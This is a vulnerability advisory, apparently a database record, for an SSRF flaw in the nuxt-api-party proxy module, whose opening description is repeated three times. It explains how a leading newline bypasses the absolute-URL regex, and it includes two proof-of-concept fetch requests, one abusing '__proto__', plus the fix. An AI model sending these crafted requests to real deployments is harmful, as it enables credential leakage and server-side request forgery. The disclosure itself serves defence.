`nuxt-api-party` is an open source module to proxy API requests. nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use the regular expression `^https?://`, however this regular expression can be bypassed by an absolute URL with leading whitespace. For example `\nhttps://whatever.com` which has a leading newline. According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue.". This means the final request will be normalized to `https://whatever.com` bypassing the check and nuxt-api-party will send a request outside of the whitelist. This could allow us to leak credentials or perform Server-Side Request Forgery (SSRF). This vulnerability has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should revert to the previous method of detecting absolute URLs.
`nuxt-api-party` is an open source module to proxy API requests. nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use the regular expression `^https?://`, however this regular expression can be bypassed by an absolute URL with leading whitespace. For example `\nhttps://whatever.com` which has a leading newline. According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue.". This means the final request will be normalized to `https://whatever.com` bypassing the check and nuxt-api-party will send a request outside of the whitelist. This could allow us to leak credentials or perform Server-Side Request Forgery (SSRF). This vulnerability has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should revert to the previous method of detecting absolute URLs.
`nuxt-api-party` is an open source module to proxy API requests. nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use the regular expression `^https?://`, however this regular expression can be bypassed by an absolute URL with leading whitespace. For example `\nhttps://whatever.com` which has a leading newline. According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue.". This means the final request will be normalized to `https://whatever.com` bypassing the check and nuxt-api-party will send a request outside of the whitelist. This could allow us to leak credentials or perform Server-Side Request Forgery (SSRF). This vulnerability has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should revert to the previous method of detecting absolute URLs.
### Summary
`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [A previous vulnerability](https://huntr.dev/bounties/4c57a3f6-0d0e-4431-9494-4a1e7b062fbf/) allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF.
This vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF.
### Details
`nuxt-api-party` attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to [use a regular expression](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31) `^https?://`.
This regular expression can be bypassed by an absolute URL with leading whitespace. For example `\nhttps://whatever.com` has a leading newline.
According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a [byte sequence](https://infra.spec.whatwg.org/#byte-sequence) potentialValue, remove any leading and trailing [HTTP whitespace bytes](https://fetch.spec.whatwg.org/#http-whitespace-byte) from potentialValue." ([source](https://fetch.spec.whatwg.org/))
This means the final request will be normalized to `https://whatever.com`. We have bypassed the check and `nuxt-api-party` will send a request outside of the whitelist.
This could allow us to leak credentials or perform SSRF.
### PoC
POC using Node.
```js
await fetch("/api/__api_party/MyEndpoint", {
method: "POST",
body: JSON.stringify({ path: "\nhttps://google.com" }),
headers: { "Content-Type": "application/json" }
})
```
We can use `__proto__` as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on `endpoint` will be undefined.
```js
await fetch("/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "\nhttps://google.com" }),
headers: { "Content-Type": "application/json" }
})
```
### Impact
Leak of sensitive API credentials. SSRF.
### Fix
Revert to the previous method of detecting absolute URLs.
```js
if (new URL(path, 'http://localhost').origin !== 'http://localhost') {
// ...
}
```
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
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datePublished: Dec 8, 2023, 11:45:18 PM
dateUpdated: Nov 27, 2024, 3:52:46 PM
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NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
The original JSON retains the logical configuration operators, exclusions and version bounds.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.